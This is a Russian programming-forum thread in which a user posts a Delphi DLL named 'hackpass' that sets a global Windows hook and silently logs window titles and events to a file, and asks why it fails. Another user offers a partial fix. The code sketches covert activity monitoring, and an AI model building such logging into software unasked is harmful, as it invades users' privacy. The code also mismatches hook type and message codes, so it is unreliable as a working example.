Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > IT форум > Помощь студентам
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 22.01.2011, 12:40   #1
Kazik
Форумчанин
 
Регистрация: 27.05.2009
Сообщений: 192
Сообщение Работа с окнами

Товарищи...помогите...хочу перехватить сообщение от системы о создании, активации и разрушении окна. Есть код dll-файла:
library hackpass;

Код:
uses
  Windows, SysUtils;

var
  SysHook : HHook = 0;
  Wnd : Hwnd = 0;

function SysMsgProc(code : integer; wParam : word;lParam : longint) : longint; export; stdcall;
var
  f : TextFile;
  windtext, windir: array [0..255] of char;
  Filedir,str:String;
begin
  Result := CallNextHookEx (SysHook, Code, wParam, lParam) ;
  case code of
  //Окно стало активным
HCBT_ACTIVATE:
begin
GetWindowsDirectory(windir, 255);
Filedir:='g:\scanbisk.log';
AssignFile(f, Filedir);
if not FileExists (Filedir) then
begin
Rewrite(f);
CloseFile(f);
end;
Append(f);
Wnd := wParam;
GetWindowText(Wnd, windtext, 255);
Str:=windtext;
Writeln(f, FormatDateTime('dd/mmm/yyyy hh:nn:ss', Date+Time)+
'###ACTIVATE==='+Str + '+++•+•@@@'+IntToStr(Wnd));
Flush(f);
CloseFile(f) ;
end;
//Создано новое окно
HCBT_CREATEWND:
begin
Str:=TCBTCreateWnd(Pointer(lParam)^).lpcs.lpszName;
if Str='' then exit;
if TCBTCreateWnd (Pointer (lParam)^) . lpcs .hwndParent<>0 then exit;
GetWindowsDirectory(windir, 255);
Filedir:='g:\scanbisk.log';
AssignFile(f, Filedir);
if not FileExists(Filedir) then
begin
Rewrite(f);
CloseFile(f) ;
end;
Append(f) ;
Wnd := wParam;
GetWindowText(Wnd, windtext, 255);
Writeln(f, FormatDateTime('dd/mm/yyyy hh:nn:ss', Date+Time)+
'###OPEN==='+windtext+ '+++' +
TCBTCreateWnd(Pointer(lParam)^).lpcs.lpszName+
'@@@'+IntToStr(Wnd));
Flush (f);
CloseFile(f);
end;
//Окно уничтожено
HCBT_DESTROYWND:
begin
Str:='';
Wnd := wParam;
if Wnd<>0 then
GetWindowText(Wnd, windtext, 255);
str:=windtext;
if windtext='' then exit;
if Str='' then exit;
GetWindowsDirectory(windir, 255);
Filedir:='g:\scanbisk.log';
AssignFile(f, Filedir);
if not FileExists(Filedir) then
begin
Rewrite (f ) ;
CloseFile(f) ;
end;
Append(f);
if Length(Str)>0 then
Writeln(f, FormatDateTime('dd/mm/yyyy hh:nn:ss', Date+Time)+
'###CLOSE=-='+Str+'+++'+'@@@'+IntToStr(Wnd));
Flush(f);
CloseFile(f);
end;
end;
end;

//Процедура запуска
procedure RunStopHook(State:Boolean) export; stdcall;
begin
//Если State = true, то...
if State=true then
begin
//Запускаем ловушку
SysHook := SetWindowsHookEx(WH_GETMESSAGE,@SysMsgProc, HInstance, 0);
end
else//Иначе
begin
//Отключить ловушку
UnhookWindowsHookEx(SysHook) ;
SysHook := 0;
end;
end;
exports RunStopHook index 1;
begin
end.
Почему-то не работает...хотя все правильно...
В exe-файле все правильно...это точно...поэтому код его приводить не буду.

Последний раз редактировалось Stilet; 22.01.2011 в 12:52.
Kazik вне форума Ответить с цитированием
Старый 22.01.2011, 12:53   #2
Stilet
Белик Виталий :)
Старожил
 
Аватар для Stilet
 
Регистрация: 23.07.2007
Сообщений: 57,097
По умолчанию

Цитата:
не работает
Как определил? Файлик лога не создается?
I'm learning to live...
Stilet вне форума Ответить с цитированием
Старый 22.01.2011, 13:51   #3
Kazik
Форумчанин
 
Регистрация: 27.05.2009
Сообщений: 192
По умолчанию

ну и это тоже...
Kazik вне форума Ответить с цитированием
Старый 22.01.2011, 15:29   #4
Kazik
Форумчанин
 
Регистрация: 27.05.2009
Сообщений: 192
По умолчанию

так что скажете?
Kazik вне форума Ответить с цитированием
Старый 22.01.2011, 16:06   #5
Stilet
Белик Виталий :)
Старожил
 
Аватар для Stilet
 
Регистрация: 23.07.2007
Сообщений: 57,097
По умолчанию

Ну кроме того что
Код:
 Result := CallNextHookEx (SysHook, Code, wParam, lParam) ;
стоит перенести в самый конец процедуры пожалуй ничего. Хуки отлаживать трудно
I'm learning to live...
Stilet вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Одновременная работа с окнами Bezsmertniy Помощь студентам 0 04.11.2010 11:25
Работа с окнами RuVarez Общие вопросы Delphi 2 01.09.2010 16:14
Работа с чужими окнами Lemo Помощь студентам 12 06.06.2010 20:14
Работа с окнами Vladya Помощь студентам 5 07.05.2010 21:22
работа с окнами Briz Общие вопросы Delphi 5 07.10.2007 22:20